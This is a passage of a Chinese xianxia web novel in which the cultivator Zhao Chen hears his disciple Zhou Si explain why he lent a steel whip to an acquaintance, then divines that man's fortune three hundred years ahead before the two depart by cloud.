若是用先天真气转化法力,无论所用的真气多么精纯,因为真气的特性,转化出来的法力必然不纯粹。但是只要练出的先天真气足够上乘,用这种不纯粹的法力施展法术并不会有影响。甚至因为这种法力要比同层次仙道法门修出的法力更有韧性,对法术甚至有些许加成。 只是,和用法力转化真气不同,用真气转化法力,因为法力的特性,这种不纯粹的法力会对武者的身体产生一点微乎其微的侵蚀,长年累月下来,会影响武道修行。若是法力太过浑浊,这种影响就更大了。若是一次性将真气全部转化成法力,改换根基,由武道转修仙道,因为法力的不存粹,最多也将止步于金丹期。 若是仙武同修,那成就就更低了,最多也就是既是养气境,也是先天期。 这洪虎,赵尘也判断不出是用先天真气转化出了一些法力,还是仙武同修。 先前,在周嗣将钢鞭借给那位魏大哥时,若不是赵尘出手遮掩,就周嗣这般在大街上光明真大的作为,怕是直接被那洪虎打上门了。再不济也不会被那名魏大哥一鞭子破去法术,反噬而死。同样的在赵尘看见洪虎气数以尽,要不然,也不会因为一次区区法术反噬,便一命呜呼了。 当然,若是当时赵尘出手救他一救,那洪虎还是有一线生机的。只是,即便赵尘当时救下土,这无论是对洪虎、对赵尘、对魏、甚至对周嗣都不是好事。 赵尘一直跟着周嗣来到鹊首山最高峰的脚下,元神这才一念间回肉身。待周嗣来到山上,赵尘放出云斗法器,化作白云,将周嗣接入洞府。看着站在身前,向自己问安的周嗣,赵尘仔细看了看,好像是在根据周嗣的气息判断其这段时间有没有偷懒。 过了一个呼吸,赵尘才好像满意的点了点头,随即询问起周嗣这段时间的经历。 周嗣将这几个多月的经历说了一遍。赵尘听了,大致做了些品鉴。最后,周嗣将先前的那件事也诉说了一番。 赵尘闻言,寻问道:“对于这件事,周生,你是怎么想到的,为什么最后做出这样的选择?” “老师,那魏既然遇上了困境,我和其认识,还有能力解决,自然要出手帮上一帮,”说到这里,周嗣语气顿了顿,接着说道:“至于其最后想要贪墨我那件钢鞭。其虽然心不纯,意不正,但我觉得他有句话说的不错。那件钢鞭,在老师手中,几乎毫无用处。便是在我手中,实际上其用处也不大,而在他手中,怎么都能解决一些人间不平之事,发挥一些用处。” “当然,除此之外,”说到这里,周嗣有些不好意思的笑了笑:“若起来争执,我估计自己当时拿不下他也是一个原因。若是借助官府的力量,我怕到时候越牵连越广平白结下因果。老师,你不是说我辈之人,不但要讲仙道贵生,无量渡人,也要谨言慎行,少结因果吗?” “而且,我也让他发下誓言,说是不得利用此鞭作恶。而且,便是到最后,我也只是说将钢鞭暂时借给他罢了。” 听了周嗣的话,赵尘没有多做评价,而是说道:“周生,你既然有了自己的打算,我便不多说了。不过,你那个魏大哥,到时个有些根器的。之后,你若是能通过考验,随我入山,凭借你和其之间的这份因果,三百年后便可来这里找他要回钢鞭。” “三百年后?”周嗣有些惊讶。 “至少如今推算的结果就是这样。其得到这支钢鞭后,其气数上扬,甚至有望入道。之后我气数虽有所起伏,但总体上看,大概还是上扬的,直到三百年后,才是盛极而衰之时。”赵尘说的虽然随意,但没人知道,紫府之中,正有一面磨盘虚影在元神前缓缓转动。只是推算一个如今还是凡人的,和自己有较直接关系的普通人的气数,赵尘已经近乎尽了全力。 “可他已经修出了内力啊,莫非他竟然可以成就武道大宗师?”想起赵尘以前说的,周嗣疑惑道。 赵尘并没有回答周嗣的疑问,而是说道:“既然事情都解决了,那就走。”说着,便驾云带着周嗣离开了洞府。 第一百一十六章 山海走廊